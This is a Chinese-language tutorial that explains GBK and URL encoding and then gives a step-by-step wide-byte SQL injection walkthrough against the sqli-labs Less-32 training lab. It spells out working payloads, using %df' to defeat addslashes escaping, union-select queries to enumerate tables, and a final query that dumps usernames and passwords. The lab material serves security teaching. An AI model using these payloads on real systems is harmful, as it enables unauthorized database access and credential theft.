1 ASCII编码、GBK编码与URL编码简介
1.1 ASCII编码
ASCII码是由美国有关的标准化组织出台的,后来它被国际标准化组织(International Organization for Standardization, ISO)定为国际标准,称为ISO 646标准。该标准统一规定了常用字符(像a、b、c、d这样的52个字母(包括大写)以及0、1等数字还有一些常用的符号(例如:%、!、+等)总共128个字符)如何用二进制数来表示。ASCII分为标准ASCII 码使用7 位二进制数组合来表示128种字符和扩展ASCII的8 位二进制数组合来表示256种字符。
1.2 GBK编码简介
由于ASCII编码是不支持中文的,但又需要寻求一种编码方式来支持中文。于是,国人就定义了一套编码规则:当字符小于127位时,与ASCII的字符相同,但当两个大于127的字符连接在一起时,就代表一个汉字,第一个字节称为高字节(从0xA1-0xF7),第二个字节为低字节(从0xA1-0xFE),这样大约可以组合7000多个简体汉字。这个规则叫做GB2312。
由于中国汉字很多,有些字还是无法表示,于是重新定义了规则:不在要求低字节一定是127之后的编码,只要第一个字节是大于127,就固定表示这是一个汉字的开始,不管后面跟的是不是扩展字符集里的内容。这种扩展之后的编码方案称之为GBK,包含了GB2312的所有内容,同时新增了近20000个新的汉字(包括繁体字)和符号。但是,中国有56个民族,每个民族都有自己的文字,所以,对GBK编码规则进行了扩展,又加了近几千个少数民族的字符,再次扩展后得编码叫做GB18030,GBK字符是被包含在GB18030字符内的,与GBK基本向后兼容。 GB18030共收录汉字70,244个。
GBK全称《汉字内码扩展规范》。向下与GB2312编码兼容,向上支持ISO10646.1国际标准,是前者向后者过渡过程中的一个承上启下的产物。
GBK 采用双字节表示,总体编码范围为 8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,剔除 xx7F 一条线。总计 23940 个码位,共收入 21886 个汉字和图形符号,其中汉字(包括部首和构件)21003 个,图形符号 883 个。即当首字节为为81~ FE之内时,程序会继续向后取一个字节,如果尾字节在40~FE范围内,则程序会认为该字符为双字节编码。
常用字符GBK编码
符号 | GBK编码 |
---|---|
’ | 27 |
" | 22 |
\ | 5c |
# | 23 |
運 | df5c |
1.3 URL编码
url编码又叫百分号编码。GET型的方式我们是以url形式提交的,因此数据会通过url编码,其实url编码就是一个字符ascii码的十六进制。不过稍微有些变动,需要在前面加上“%”。
比如:
\
,它的ascii码是92,92的十六进制是5c,所以“\”的url编码就是%5c。#
,url编码为=>%23‘
,url编码为=>%27
那么汉字的url编码呢?很简单,看例子:
- 胡,的ascii码是 -17670,十六进制是BAFA,url编码是“%BA%FA”。
- 你,url编码为=>%c4%e3。
2 宽字节注入概述
宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。是一种 引发编码转换从而导致的注入漏洞。
定义:正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,将传入参数值进行转义,将单引号[‘]或双引号["]转义为[’]或[\“]。此时转义后的单引号/双引号失去作用,不再是字符串的标识,会被作为普通字符带入数据库中查询。也就是说我们提交的单引号/双引号不会影响到原来SQL语句的结构。一般这种情况是不存在注入可能的,但是有一种情况除外,就是当后台数据库编码格式为GBK时,可以添加字符欺骗转义函数,'等不被转义。
适用情形: (1)数据库的编码格式为GBK(SET NAMES 'gbk’或是 SET character_set_client =gbk);(2)在PHP中,对提交的数据进行了单引号、双引号、\等的转义。
宽字节注入原理:转义字符\的编码为5c,正好在GBK编码范围之内,加入在GBL编码范围内的字节与\构成GBK编码的汉子,从而使转义符\失效,实现了单引号或双引号逃逸。
3 注入案例-以sqli-labs-less32为例
目标为获取后台数据库账号及密码。
3.1 实验平台
实验靶场——虚拟机(IP为172.16.1.1):本节实验靶场是在win2008系统上基于phpstudy搭建的一个sqli-labs漏洞靶场,win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,sqli-labs漏洞靶场的搭建可以参考《【环境搭建】基于WAMP环境的sqli-labs漏洞靶场的搭建》
注入工具——真实机:本实验利用火狐浏览器来实现union注入,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。安装后出现下图左侧的东西。
靶机与真实机桥接到同一局域网中。
3.2 具体注入过程
3.2.1 注入前准备
(1)真实机打开火狐浏览器,访问靶机IP地址,出现下图,可以不重置实验平台,直接点击Page2进入找到第32关实验。
(2)点击进入第32关,初始界面如下图:
3.2.2 判断注入点及注入类型
(1)输入参数为?id=1
可以看到数据库成功返回第一个账户账号及密码。修改id=2
则是返回第二个账号密码,说明id是一个访问者可以控制输入的参数且页面会根据参数进行响应,是一个注入点。
(2)修改参数为?id=1'
可以看到数据库正常回显账号密码,但是提示信息如下,分析提示可知我们输入的单引号被转义符号\转义成了’,转义后,单引号不再是控制字符,变成了普通字符。
(3)修改参数为?id=1"
可以看到数据库正常回显账号密码,但是提示信息如下,分析提示可知我们输入的双引号也被转义符号\转义成了",转义后,双引号不再是控制字符,变成了普通字符。
(4)修改参数为?id=1%27
,可以看到数据库正常回显账号密码,但是提示信息如下,分析提示可知我们输入的单引号url编码仍被转义符号\转义成了’。
(5)修改参数为?id=1'--+
,可以看到数据库正常回显账号密码,但是提示信息如下。–+即为–空格,在sql语句中表示注释。分析提示可知我们输入的单引号及–+都被转义符号\转义成了’及–+,–+并没有使转义符失效,无法帮助单引号逃逸。
(6)修改参数为?id=1\'
,可以看到数据库正常回显账号密码,但是提示信息如下,分析提示可知我们输入的转义符还是没有使原sql语句中的转义符失效,无法帮助单引号逃逸,单引号还是被转义成了普通字符。
(7)遇到这种情况只能赌后台数据库编码是不是GBK了,修改参数为?id=1%df'
,按下图分析错误提醒信息可知该注入为字符型且为单引号闭合,同时可知可以实现宽字符注入。
分析:
①为什么会报错,
因为转义符失效了,单引号会作为一个控制字符出现,单引号影响了原来的SQL语句的结构。
②为什么加%df转义符就失效。
转义字符\的编码为5c,正好在GBK编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c组成一个GBK编码的汉子。这样SQL语句传入数据库的时候,转义字符5c,会被看做GBK汉字的低位字节编码,从而失去了转义的作用。当首字节为81~ FE之内时,数据库会继续向后取一个字节,如果尾字节在40~ FE范围内,则数据库会认为该字符为双字节编码,这两个字节共同组成一个汉字。因此除了%df外,%af、%ef等等很多都可以,理论上只要在81~ FE之内就可以。
注意:最关键的是如何使转义符失效。
3.2.3 判断回显列数及回显位置
(1)修改参数为?id=1%df' order by 3--+
,页面正常显示,当修改参数为5时,页面显示错误,说明回显内容有3列。其中,–+为注释掉原来sql语句中的单引号,达到一个闭合的状态。
(2)修改参数为?id=-1%df' union select 1,2,3--+
,可以看到2和3列数据可以回显。说明可以尝试union联合查询注入。
3.2.4 获取库名表名字段名
(1)获取库名。修改参数为?id=-1%df' union select 1,2,database()--+
,发现本站点数据库为security。
(2)获取表名。修改参数为?id=-1%df'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
,发现该数据库下公有4个表,猜测users表,是我们注入的目标。
(3)获取字段名。修改参数为?id=-1%df'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+
。注意,用16进制代替英文字符串输入,users转为16进制就是7573657273,为了表示该数是16进制,需要在前面加上0x。users一定不要使用’users’字符的输入方式,否则整个参数中的所有单引号都会被转义,,使语句执行失败。
(4)**获取字段内容。**修改参数为?id=-1%df'union select 1,2,group_concat(id,0x3a,username,0x3a,password) from users--+
,该参数中0x3a是冒号的16进制格式,同样也是为了避免使用单引号导致被转义的问题。
4 总结
(1)了解GBK编码简单信息;
(1)理解字节何时会被当做GBK进行解码;
(1)理解宽字符注入的原理;
(1)掌握宽字符注入的方法。
更多推荐
【SQL注入-09】宽字节注入案例—以sqli-labs-less32为例
发布评论